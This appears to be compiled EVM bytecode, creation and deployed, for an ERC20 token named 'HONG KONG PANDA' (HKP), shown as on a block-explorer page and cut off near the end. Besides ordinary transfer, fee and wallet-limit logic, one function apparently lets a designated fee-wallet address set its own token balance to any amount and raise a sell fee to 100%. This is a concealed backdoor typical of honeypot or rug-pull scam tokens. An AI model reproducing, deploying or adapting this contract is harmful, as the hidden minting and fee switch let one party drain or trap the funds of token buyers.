f491790919060201c565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009ed919062001022565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000a6b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a6290620010b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000add576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ad4906200114d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000bbd919062001022565b60405180910390a3505050565b6000818362000bda91906200116f565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c705780860481111562000c485762000c4762000be2565b5b600185161562000c585780820291505b808102905062000c688562000c11565b945062000c28565b94509492505050565b60008262000c8b576001905062000d5e565b8162000c9b576000905062000d5e565b816001811462000cb4576002811462000cbf5762000cf5565b600191505062000d5e565b60ff84111562000cd45762000cd362000be2565b5b8360020a91508482111562000cee5762000ced62000be2565b5b5062000d5e565b5060208310610133831016604e8410600b841016171562000d2f5782820a90508381111562000d295762000d2862000be2565b5b62000d5e565b62000d3e848484600162000c1e565b9250905081840481111562000d585762000d5762000be2565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d898262000d65565b915062000d968362000d6f565b925062000dc57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c79565b905092915050565b600062000dda8262000d65565b915062000de78362000d65565b925082820262000df78162000d65565b9150828204841483151762000e115762000e1062000be2565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e4a8262000e1d565b9050919050565b62000e5c8162000e3d565b811462000e6857600080fd5b50565b60008151905062000e7c8162000e51565b92915050565b60006020828403121562000e9b5762000e9a62000e18565b5b600062000eab8482850162000e6b565b91505092915050565b62000ebf8162000e3d565b82525050565b600060408201905062000edc600083018562000eb4565b62000eeb602083018462000eb4565b9392505050565b62000efd8162000d65565b82525050565b600060408201905062000f1a600083018562000eb4565b62000f29602083018462000ef2565b9392505050565b60008115159050919050565b62000f478162000f30565b811462000f5357600080fd5b50565b60008151905062000f678162000f3c565b92915050565b60006020828403121562000f865762000f8562000e18565b5b600062000f968482850162000f56565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000fe8601f8362000f9f565b915062000ff58262000fb0565b602082019050919050565b600060208201905081810360008301526200101b8162000fd9565b9050919050565b600060208201905062001039600083018462000ef2565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200109d60248362000f9f565b9150620010aa826200103f565b604082019050919050565b60006020820190508181036000830152620010d0816200108e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200113560228362000f9f565b91506200114282620010d7565b604082019050919050565b60006020820190508181036000830152620011688162001126565b9050919050565b60006200117c8262000d65565b9150620011898362000d65565b9250828201905080821115620011a457620011a362000be2565b5b92915050565b612d8880620011ba6000396000f3fe6080604052600436106101855760003560e01c806371b9189c116100d1578063a9059cbb1161008a578063d54f7d5e11610064578063d54f7d5e1461059a578063dd62ed3e146105c5578063f2fde38b14610602578063f5f55f9f1461062b576101b8565b8063a9059cbb14610507578063cdf4bab914610544578063d0ec1b2b1461056f576101b8565b806371b9189c14610409578063751039fc146104325780638d5f81e2146104495780638da5cb5b1461047457806395d89b411461049f578063a457c2d7146104ca576101b8565b8063395093511161013e57806351c6590a1161011857806351c6590a1461037057806363d600a41461038c57806370a08231146103b5578063715018a6146103f2576101b8565b806339509351146102e157806342966c681461031e578063437823ec14610347576101b8565b806306fdde03146101bd578063095ea7b3146101e8578063173865ad1461022557806318160ddd1461024e57806323b872dd14610279578063313ce567146102b6576101b8565b366101b8577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b3480156101c957600080fd5b506101d2610654565b6040516101df91906120a5565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a9190612165565b610691565b60405161021c91906121c0565b60405180910390f35b34801561023157600080fd5b5061024c600480360381019061024791906121db565b6106af565b005b34801561025a57600080fd5b506102636106dc565b6040516102709190612217565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190612232565b6106e6565b6040516102ad91906121c0565b60405180910390f35b3480156102c257600080fd5b506102cb6107bf565b6040516102d891906122a1565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612165565b6107c8565b60405161031591906121c0565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906121db565b61087b565b005b34801561035357600080fd5b5061036e600480360381019061036991906122bc565b61088f565b005b61038a600480360381019061038591906121db565b6108f2565b005b34801561039857600080fd5b506103b360048036038101906103ae91906122bc565b61094f565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906122bc565b610b1c565b6040516103e99190612217565b60405180910390f35b3480156103fe57600080fd5b50610407610b65565b005b34801561041557600080fd5b50610430600480360381019061042b919061234e565b610b79565b005b34801561043e57600080fd5b50610447610bd7565b005b34801561045557600080fd5b5061045e610bf3565b60405161046b91906123aa565b60405180910390f35b34801561048057600080fd5b50610489610c1d565b60405161049691906123aa565b60405180910390f35b3480156104ab57600080fd5b506104b4610c46565b6040516104c191906120a5565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612165565b610c83565b6040516104fe91906121c0565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612165565b610d50565b60405161053b91906121c0565b60405180910390f35b34801561055057600080fd5b50610559610d6e565b60405161056691906121c0565b60405180910390f35b34801561057b57600080fd5b50610584610d85565b6040516105919190612217565b60405180910390f35b3480156105a657600080fd5b506105af610db7565b6040516105bc91906123aa565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e791906123c5565b610de1565b6040516105f99190612217565b60405180910390f35b34801561060e57600080fd5b50610629600480360381019061062491906122bc565b610e68565b005b34801561063757600080fd5b50610652600480360381019061064d919061234e565b610eeb565b005b60606040518060400160405280600f81526020017f484f4e47204b4f4e472050414e44410000000000000000000000000000000000815250905090565b60006106a561069e610f5f565b8484610f67565b6001905092915050565b600e5433146106bd57600080fd5b6040513381526003602082015260408120828155612710600b55505050565b6000600554905090565b60006106f3848484611130565b6107b4846106ff610f5f565b6107af85604051806060016040528060288152602001612d0660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610765610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b600190509392505050565b60006012905090565b60006108716107d5610f5f565b8461086c85600460006107e6610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b610f67565b6001905092915050565b61088c610886610f5f565b82611ae3565b50565b610897611c86565b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6108fa611c86565b6001600760146101000a81548160ff021916908315150217905550610927610920610c1d565b3083611130565b6109318134611d04565b6000600760146101000a81548160ff02191690831515021790555050565b610957611c86565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90612451565b60405180910390fd5b6109cd610c1d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612451565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190612451565b60405180910390fd5b600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b6d611c86565b610b776000611de9565b565b610b81611c86565b60005b82829050811015610bd257610bbf838383818110610ba557610ba4612471565b5b9050602002016020810190610bba91906122bc565b61088f565b8080610bca906124cf565b915050610b84565b505050565b610bdf611c86565b612710600181905550612710600281905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f484b500000000000000000000000000000000000000000000000000000000000815250905090565b6000610d46610c90610f5f565b84610d4185604051806060016040528060258152602001612d2e6025913960046000610cba610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b6001905092915050565b6000610d64610d5d610f5f565b8484611130565b6001905092915050565b6000600760149054906101000a900460ff16905090565b6000610db2612710610da4600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e70611c86565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612589565b60405180910390fd5b610ee881611de9565b50565b610ef3611c86565b60005b82829050811015610f4457610f31838383818110610f1757610f16612471565b5b9050602002016020810190610f2c91906122bc565b61094f565b8080610f3c906124cf565b915050610ef6565b505050565b60008183610f5791906125a9565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd9061264f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c906126e1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111239190612217565b60405180910390a3505050565b61113b838383611ed9565b600080611146610c1d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156111b45750611184610c1d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561172957600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561125d5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561130d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113635750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113b95750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b3576113e96127106113db600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b83111561142b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142290612773565b60405180910390fd5b611456612710611448600254600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b6114718461146387610b1c565b610f4990919063ffffffff16565b11156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612805565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561155e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115fe5761158c61271061157e600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506115b76127106115a9600c5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561168757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611727576116b56127106116a7600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506116e06127106116d2600b5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b600061173e8284610f4990919063ffffffff16565b905060008111156118dd57600083111561175d5761175c8684611ae3565b5b60008211156118c7576117da8260036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118be9190612217565b60405180910390a35b6118da8185611fff90919063ffffffff16565b93505b61194984604051806060016040528060268152602001612ce060269139600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119de84600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611a7e9190612217565b60405180910390a3505050505050565b6000838311158290611ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acd91906120a5565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4990612897565b60405180910390fd5b611bbe81604051806060016040528060228152602001612cbe60229139600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1681600554611fff90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7a9190612217565b60405180910390a35050565b611c8e610f5f565b73ffffffffffffffffffffffffffffffffffffffff16611cac610c1d565b73ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf990612903565b60405180910390fd5b565b611d3130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f67565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611d7d610c1d565b426040518863ffffffff1660e01b8152600401611d9f96959493929190612968565b60606040518083038185885af1158015611dbd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611de291906129de565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611ebb9190612a31565b905092915050565b60008183611ed19190612aa2565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3f90612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae90612bd7565b60405180910390fd5b60008111611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff190612c69565b60405180910390fd5b505050565b6000818361200d9190612c89565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204f578082015181840152602081019050612034565b60008484015250505050565b6000601f19601f8301169050919050565b600061207782612015565b6120818185612020565b9350612091818560208601612031565b61209a8161205b565b840191505092915050565b600060208201905081810360008301526120bf818461206c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120fc826120d1565b9050919050565b61210c816120f1565b811461211757600080fd5b50565b60008135905061212981612103565b92915050565b6000819050919050565b6121428161212f565b811461214d57600080fd5b50565b60008135905061215f81612139565b92915050565b6000806040838503121561217c5761217b6120c7565b5b600061218a8582860161211a565b925050602061219b85828601612150565b9150509250929050565b60008115159050919050565b6121ba816121a5565b82525050565b60006020820190506121d560008301846121b1565b92915050565b6000602082840312156121f1576121f06120c7565b5b60006121ff84828501612150565b91505092915050565b6122118161212f565b82525050565b600060208201905061222c6000830184612208565b92915050565b60008060006060848603121561224b5761224a6120c7565b5b60006122598682870161211a565b935050602061226a8682870161211a565b925050604061227b86828701612150565b9150509250925092565b600060ff82169050919050565b61229b81612285565b82525050565b60006020820190506122b66000830184612292565b92915050565b6000602082840312156122d2576122d16120c7565b5b60006122e08482850161211a565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261230e5761230d6122e9565b5b8235905067ffffffffffffffff81111561232b5761232a6122ee565b5b602083019150836020820283011115612347576123466122f3565b5b9250929050565b60008060208385031215612365576123646120c7565b5b600083013567ffffffffffffffff811115612383576123826120cc565b5b61238f858286016122f8565b92509250509250929050565b6123a4816120f1565b82525050565b60006020820190506123bf600083018461239b565b92915050565b600080604083850312156123dc576123db6120c7565b5b60006123ea8582860161211a565b92505060206123fb8582860161211a565b9150509250929050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061243b600f83612020565b915061244682612405565b602082019050919050565b6000602082019050818103600083015261246a8161242e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124da8261212f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361250c5761250b6124a0565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612573602683612020565b915061257e82612517565b604082019050919050565b600060208201905081810360008301526125a281612566565b9050919050565b60006125b48261212f565b91506125bf8361212f565b92508282019050808211156125d7576125d66124a0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612639602483612020565b9150612644826125dd565b604082019050919050565b600060208201905081810360008301526126688161262c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126cb602283612020565b91506126d68261266f565b604082019050919050565b600060208201905081810360008301526126fa816126be565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6e742e0000000000000000000000000000000000000000000000000000602082015250565b600061275d602683612020565b915061276882612701565b604082019050919050565b6000602082019050818103600083015261278c81612750565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f60008201527f756e740000000000000000000000000000000000000000000000000000000000602082015250565b60006127ef602383612020565b91506127fa82612793565b604082019050919050565b6000602082019050818103600083015261281e816127e2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612881602183612020565b915061288c82612825565b604082019050919050565b600060208201905081810360008301526128b081612874565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128ed602083612020565b91506128f8826128b7565b602082019050919050565b6000602082019050818103600083015261291c816128e0565b9050919050565b6000819050919050565b6000819050919050565b600061295261294d61294884612923565b61292d565b61212f565b9050919050565b61296281612937565b82525050565b600060c08201905061297d600083018961239b565b61298a6020830188612208565b6129976040830187612959565b6129a46060830186612959565b6129b1608083018561239b565b6129be60a0830184612208565b979650505050505050565b6000815190506129d881612139565b92915050565b6000806000606084860312156129f7576129f66120c7565b5b6000612a05868287016129c9565b9350506020612a16868287016129c9565b9250506040612a27868287016129c9565b9150509250925092565b6000612a3c8261212f565b9150612a478361212f565b9250828202612a558161212f565b91508282048414831517612a6c57612a6b6124a0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612aad8261212f565b9150612ab88361212f565b925082612ac857612ac7612a73565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b2f602583612020565b9150612b3a82612ad3565b604082019050919050565b60006020820190508181036000830152612b5e81612b22565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc1602383612020565b9150612bcc82612b65565b604082019050919050565b60006020820190508181036000830152612bf081612bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c53602983612020565b9150612c5e82612bf7565b604082019050919050565b60006020820190508181036000830152612c8281612c46565b9050919050565b6000612c948261212f565b9150612c9f8361212f565b9250828203905081811115612cb757612cb66124a0565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220449e8355b1210e6e4955261ae1e5375e52d94d35b561ba52e6d7ed7b0b576a2964736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101855760003560e01c806371b9189c116100d1578063a9059cbb1161008a578063d54f7d5e11610064578063d54f7d5e1461059a578063dd62ed3e146105c5578063f2fde38b14610602578063f5f55f9f1461062b576101b8565b8063a9059cbb14610507578063cdf4bab914610544578063d0ec1b2b1461056f576101b8565b806371b9189c14610409578063751039fc146104325780638d5f81e2146104495780638da5cb5b1461047457806395d89b411461049f578063a457c2d7146104ca576101b8565b8063395093511161013e57806351c6590a1161011857806351c6590a1461037057806363d600a41461038c57806370a08231146103b5578063715018a6146103f2576101b8565b806339509351146102e157806342966c681461031e578063437823ec14610347576101b8565b806306fdde03146101bd578063095ea7b3146101e8578063173865ad1461022557806318160ddd1461024e57806323b872dd14610279578063313ce567146102b6576101b8565b366101b8577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b3480156101c957600080fd5b506101d2610654565b6040516101df91906120a5565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a9190612165565b610691565b60405161021c91906121c0565b60405180910390f35b34801561023157600080fd5b5061024c600480360381019061024791906121db565b6106af565b005b34801561025a57600080fd5b506102636106dc565b6040516102709190612217565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190612232565b6106e6565b6040516102ad91906121c0565b60405180910390f35b3480156102c257600080fd5b506102cb6107bf565b6040516102d891906122a1565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612165565b6107c8565b60405161031591906121c0565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906121db565b61087b565b005b34801561035357600080fd5b5061036e600480360381019061036991906122bc565b61088f565b005b61038a600480360381019061038591906121db565b6108f2565b005b34801561039857600080fd5b506103b360048036038101906103ae91906122bc565b61094f565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906122bc565b610b1c565b6040516103e99190612217565b60405180910390f35b3480156103fe57600080fd5b50610407610b65565b005b34801561041557600080fd5b50610430600480360381019061042b919061234e565b610b79565b005b34801561043e57600080fd5b50610447610bd7565b005b34801561045557600080fd5b5061045e610bf3565b60405161046b91906123aa565b60405180910390f35b34801561048057600080fd5b50610489610c1d565b60405161049691906123aa565b60405180910390f35b3480156104ab57600080fd5b506104b4610c46565b6040516104c191906120a5565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612165565b610c83565b6040516104fe91906121c0565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612165565b610d50565b60405161053b91906121c0565b60405180910390f35b34801561055057600080fd5b50610559610d6e565b60405161056691906121c0565b60405180910390f35b34801561057b57600080fd5b50610584610d85565b6040516105919190612217565b60405180910390f35b3480156105a657600080fd5b506105af610db7565b6040516105bc91906123aa565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e791906123c5565b610de1565b6040516105f99190612217565b60405180910390f35b34801561060e57600080fd5b50610629600480360381019061062491906122bc565b610e68565b005b34801561063757600080fd5b50610652600480360381019061064d919061234e565b610eeb565b005b60606040518060400160405280600f81526020017f484f4e47204b4f4e472050414e44410000000000000000000000000000000000815250905090565b60006106a561069e610f5f565b8484610f67565b6001905092915050565b600e5433146106bd57600080fd5b6040513381526003602082015260408120828155612710600b55505050565b6000600554905090565b60006106f3848484611130565b6107b4846106ff610f5f565b6107af85604051806060016040528060288152602001612d0660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610765610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b600190509392505050565b60006012905090565b60006108716107d5610f5f565b8461086c85600460006107e6610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b610f67565b6001905092915050565b61088c610886610f5f565b82611ae3565b50565b610897611c86565b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6108fa611c86565b6001600760146101000a81548160ff021916908315150217905550610927610920610c1d565b3083611130565b6109318134611d04565b6000600760146101000a81548160ff02191690831515021790555050565b610957611c86565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90612451565b60405180910390fd5b6109cd610c1d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612451565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610